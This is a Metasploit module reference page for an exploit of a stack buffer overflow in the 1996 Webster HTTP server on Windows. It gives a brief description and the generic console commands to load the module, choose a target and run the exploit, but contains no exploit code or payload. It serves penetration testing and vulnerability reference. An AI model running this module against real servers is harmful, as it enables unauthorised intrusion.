module

Webster HTTP Server GET Buffer Overflow

Disclosed
Dec 2, 2002
Created
May 30, 2018

Description

This exploits a stack buffer overflow in the Webster HTTP server.
The server and source code was released within an article from
the Microsoft Systems Journal in February 1996 titled "Write a
Simple HTTP-based Server Using MFC and Windows Sockets".

Author

Platform

Windows

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':


msf > use exploit/windows/http/webster_http
msf exploit(webster_http) > show targets
...targets...
msf exploit(webster_http) > set TARGET < target-id >
msf exploit(webster_http) > show options
...show and set options...
msf exploit(webster_http) > exploit

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